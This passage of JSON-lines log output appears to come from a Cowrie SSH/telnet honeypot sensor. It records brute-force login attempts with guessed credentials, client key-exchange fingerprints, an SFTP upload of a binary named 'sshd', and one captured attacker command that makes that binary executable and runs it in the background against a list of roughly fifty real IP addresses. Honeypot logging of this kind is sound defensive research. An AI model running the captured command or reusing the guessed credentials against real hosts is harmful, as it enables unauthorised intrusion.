96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:28.591478Z","src_ip":"113.190.252.123","session":"b0f46b69e2ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootadmin","message":"login attempt [root/rootadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:30.703194Z","src_ip":"113.190.252.123","session":"b0f46b69e2ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:32.236202Z","src_ip":"113.190.252.123","session":"b0f46b69e2ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":43782,"dst_ip":"10.17.0.5","dst_port":22,"session":"e61b6770b54d","protocol":"ssh","message":"New connection: 103.15.226.202:43782 (10.17.0.5:22) [session: e61b6770b54d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:37.213647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:37.222978Z","src_ip":"103.15.226.202","session":"e61b6770b54d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:37.475011Z","src_ip":"103.15.226.202","session":"e61b6770b54d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root_alias","password":"root_alias","message":"login attempt [root_alias/root_alias] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:38.231148Z","src_ip":"103.15.226.202","session":"e61b6770b54d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:39.487053Z","src_ip":"103.15.226.202","session":"e61b6770b54d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.74.248.52","src_port":16023,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f0485afca74","protocol":"ssh","message":"New connection: 27.74.248.52:16023 (10.17.0.5:22) [session: 1f0485afca74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:47.870052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:47.959586Z","src_ip":"27.74.248.52","session":"1f0485afca74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:48.329446Z","src_ip":"27.74.248.52","session":"1f0485afca74","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:50.684921Z","src_ip":"27.74.248.52","session":"1f0485afca74","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:51.724645Z","src_ip":"27.74.248.52","session":"1f0485afca74","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:52.186011Z","src_ip":"27.74.248.52","session":"1f0485afca74","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","size":303,"shasum":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","duplicate":true,"duration":"0.8","message":"Closing TTY Log: var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:53.021433Z","src_ip":"27.74.248.52","session":"1f0485afca74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:53.025373Z","src_ip":"27.74.248.52","session":"1f0485afca74","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"sshd","outfile":"var/lib/cowrie/downloads/94f2e4d8d4436874785cd14e6e6d403507b8750852f7f2040352069a75da4c00","shasum":"94f2e4d8d4436874785cd14e6e6d403507b8750852f7f2040352069a75da4c00","message":"SFTP Uploaded file \"sshd\" to var/lib/cowrie/downloads/94f2e4d8d4436874785cd14e6e6d403507b8750852f7f2040352069a75da4c00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:37:47.926231Z","src_ip":"113.0.152.164","session":"ed98f15dfdb0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:37:48.723004Z","src_ip":"113.0.152.164","session":"ed98f15dfdb0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"chmod +x ./.302576965011521230/sshd;nohup ./.302576965011521230/sshd 221.130.95.34 159.203.120.106 111.170.34.11 157.230.38.136 159.203.108.2 182.43.19.187 41.93.28.4 221.178.246.21 150.138.143.79 45.55.30.94 203.186.60.250 45.41.207.162 191.252.210.242 180.76.168.116 156.227.232.239 88.151.34.218 50.6.228.52 185.34.136.98 121.228.250.70 222.221.96.45 43.226.44.17 103.61.122.197 23.251.57.59 222.223.177.118 39.175.51.58 180.76.103.111 221.10.21.26 123.182.141.91 122.228.86.100 170.150.255.26 123.182.141.59 167.86.84.93 141.148.140.182 138.197.163.192 41.93.32.7 183.236.48.45 221.202.188.169 111.170.153.236 183.136.170.167 221.10.21.25 51.15.19.10 106.13.167.239 211.90.219.149 202.129.205.122 42.4.62.108 114.218.57.21 103.146.52.37 49.72.111.25 123.58.212.100 50.6.231.130 79.143.186.128 &","message":"CMD: chmod +x ./.302576965011521230/sshd;nohup ./.302576965011521230/sshd 221.130.95.34 159.203.120.106 111.170.34.11 157.230.38.136 159.203.108.2 182.43.19.187 41.93.28.4 221.178.246.21 150.138.143.79 45.55.30.94 203.186.60.250 45.41.207.162 191.252.210.242 180.76.168.116 156.227.232.239 88.151.34.218 50.6.228.52 185.34.136.98 121.228.250.70 222.221.96.45 43.226.44.17 103.61.122.197 23.251.57.59 222.223.177.118 39.175.51.58 180.76.103.111 221.10.21.26 123.182.141.91 122.228.86.100 170.150.255.26 123.182.141.59 167.86.84.93 141.148.140.182 138.197.163.192 41.93.32.7 183.236.48.45 221.202.188.169 111.170.153.236 183.136.170.167 221.10.21.25 51.15.19.10 106.13.167.239 211.90.219.149 202.129.205.122 42.4.62.108 114.218.57.21 103.146.52.37 49.72.111.25 123.58.212.100 50.6.231.130 79.143.186.128 &","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:37:48.727450Z","src_ip":"113.0.152.164","session":"ed98f15dfdb0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/26f92e249c7014c7ab97bfd161181ce4a037253aca3dbf828486c3f227713016","size":135,"shasum":"26f92e249c7014c7ab97bfd161181ce4a037253aca3dbf828486c3f227713016","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/26f92e249c7014c7ab97bfd161181ce4a037253aca3dbf828486c3f227713016 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:37:48.984436Z","src_ip":"113.0.152.164","session":"ed98f15dfdb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"237.0","message":"Connection lost after 237.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:37:48.989213Z","src_ip":"113.0.152.164","session":"ed98f15dfdb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00588965415955,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:38:23.068508Z","src_ip":"180.235.129.180","session":"fce295429d16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":56132,"dst_ip":"10.17.0.5","dst_port":22,"session":"3997fa9aa646","protocol":"ssh","message":"New connection: 2.57.122.208:56132 (10.17.0.5:22) [session: 3997fa9aa646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:39:42.842349Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:39:42.951108Z","src_ip":"2.57.122.208","session":"3997fa9aa646","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":49544,"dst_ip":"10.17.0.5","dst_port":22,"session":"aac6e3f7a789","protocol":"ssh","message":"New connection: 103.15.226.202:49544 (10.17.0.5:22) [session: aac6e3f7a789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:10.979156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:10.984986Z","src_ip":"103.15.226.202","session":"aac6e3f7a789","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:11.227691Z","src_ip":"103.15.226.202","session":"aac6e3f7a789","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kfPassw0rd","message":"login attempt [root/kfPassw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:11.975934Z","src_ip":"103.15.226.202","session":"aac6e3f7a789","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:13.220774Z","src_ip":"103.15.226.202","session":"aac6e3f7a789","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.148.216.70","src_port":14083,"dst_ip":"159.203.135.109","dst_port":23,"session":"e446c7423296","protocol":"telnet","message":"New connection: 37.148.216.70:14083 (159.203.135.109:23) [session: e446c7423296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:29.018005Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.180.12.23","src_port":44962,"dst_ip":"159.203.135.109","dst_port":23,"session":"95fc00a647e8","protocol":"telnet","message":"New connection: 194.180.12.23:44962 (159.203.135.109:23) [session: 95fc00a647e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:35.385727Z"}
{"eventid":"cowrie.session.closed","duration":14.134298086166382,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:43.152210Z","src_ip":"37.148.216.70","session":"e446c7423296","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.129.200.117","src_port":42526,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d8ebc74b3e4","protocol":"ssh","message":"New connection: 102.129.200.117:42526 (10.17.0.5:22) [session: 0d8ebc74b3e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:46.888777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:46.894625Z","src_ip":"102.129.200.117","session":"0d8ebc74b3e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:46.983825Z","src_ip":"102.129.200.117","session":"0d8ebc74b3e4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:65:a9:d1:f3:ad:c8:37:e3:4d:3a:a3:39:88:8c:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcaSUEKwig4qb2tCNQJcImjIWyY8J60mcmMsEK40QPtCD1aqSHd5eTxRoUT9aYiVN1UCLxM7ISqlaoLsPwtcnn89H4cEEeXmq7ncmbK35a69V6Uz/mLmnuttfp47QQrgezfCtCX1iXlf+oe9QcDldp/tkVJRHLzGZHWf2rps6m6+cUb6UWI7e1ao8HsDC09wtcsYFDNQyetXMB4uH4Fn32nt6Q9Vfkkum6fV6Gj4jsy1nHeUwB9gm6ByfJpOjuh9VFMiqKYXvs1a7rvuAKZZ9bEYhKe4Mf6xOIrBpbmGpKvOhR9Om34i56f7Kl83PSjT0iHMAeEAdLx2XqQFmayHIBYLGntYCfS1l3ARW8xRwHxRMmf7NgeMXO9EWznO8lsl+YZKQNF0qVZey24ZgzqfjMDHxgL/Asnm8Uzc+Ttgdw9KDM1tl9hPwJpBdUey/FAFfTZeRX9F3v2eZg9iv8YsMlwS0NXjEu1RYVkPFMJsAuiVEDUvim9MTL/WHopKqHkVaQ95LiikgYJPmCKyBdVaZR8NGA0E5tIuQVYslCbdRJFeScTL8u73RgJ7EltuYPBxZLTdQOxAzpe7xwNCzaoDHoRTMa6mzWGBHl5yHEeQvP98+aye8fVNZJQnzi7CKpnk2GFmtQ/d+Mh9QUWfupA22+UvOwdxnW7udTQwXDA4o2Xw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:65:a9:d1:f3:ad:c8:37:e3:4d:3a:a3:39:88:8c:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:47.395469Z","src_ip":"102.129.200.117","session":"0d8ebc74b3e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:65:a9:d1:f3:ad:c8:37:e3:4d:3a:a3:39:88:8c:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcaSUEKwig4qb2tCNQJcImjIWyY8J60mcmMsEK40QPtCD1aqSHd5eTxRoUT9aYiVN1UCLxM7ISqlaoLsPwtcnn89H4cEEeXmq7ncmbK35a69V6Uz/mLmnuttfp47QQrgezfCtCX1iXlf+oe9QcDldp/tkVJRHLzGZHWf2rps6m6+cUb6UWI7e1ao8HsDC09wtcsYFDNQyetXMB4uH4Fn32nt6Q9Vfkkum6fV6Gj4jsy1nHeUwB9gm6ByfJpOjuh9VFMiqKYXvs1a7rvuAKZZ9bEYhKe4Mf6xOIrBpbmGpKvOhR9Om34i56f7Kl83PSjT0iHMAeEAdLx2XqQFmayHIBYLGntYCfS1l3ARW8xRwHxRMmf7NgeMXO9EWznO8lsl+YZKQNF0qVZey24ZgzqfjMDHxgL/Asnm8Uzc+Ttgdw9KDM1tl9hPwJpBdUey/FAFfTZeRX9F3v2eZg9iv8YsMlwS0NXjEu1RYVkPFMJsAuiVEDUvim9MTL/WHopKqHkVaQ95LiikgYJPmCKyBdVaZR8NGA0E5tIuQVYslCbdRJFeScTL8u73RgJ7EltuYPBxZLTdQOxAzpe7xwNCzaoDHoRTMa6mzWGBHl5yHEeQvP98+aye8fVNZJQnzi7CKpnk2GFmtQ/d+Mh9QUWfupA22+UvOwdxnW7udTQwXDA4o2Xw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:47.399776Z","src_ip":"102.129.200.117","session":"0d8ebc74b3e4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:0a:7d:aa:6c:6c:9b:1e:4e:5f:96:2f:b4:d5:7a:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGiGxT8EHcndRvrB2iPdLJscZO82rkvo78nY9AvcT0oT4icsm4dOOH9HuHkVUanKvezJf8WSOo58SeS0VG27Qn6Tlge7cXzoIEnIp5EF+Jhxgc3fgOcJTBE+/H/NX1QXRB5J41EjM879XLcx4phynhOF3NPjqbWiHpVHuFJrVaP1+7cvh8kakDwxJMdBvowCw8WPCkBkaz2RWtx9pybzl27tUvuLAmrwskQfuXzidkumUIXZXl2/NI8Z3MnkT/mXb4wrAJ6myZo8dyZovCXmXt12wFrDdNkyxPf8A6xnROIUP2+1dStiuTLYGuMFyRo9AOPwViRBE3AOKxSeje2F3X","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:0a:7d:aa:6c:6c:9b:1e:4e:5f:96:2f:b4:d5:7a:f0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:47.491838Z","src_ip":"102.129.200.117","session":"0d8ebc74b3e4","protocol":"ssh"}
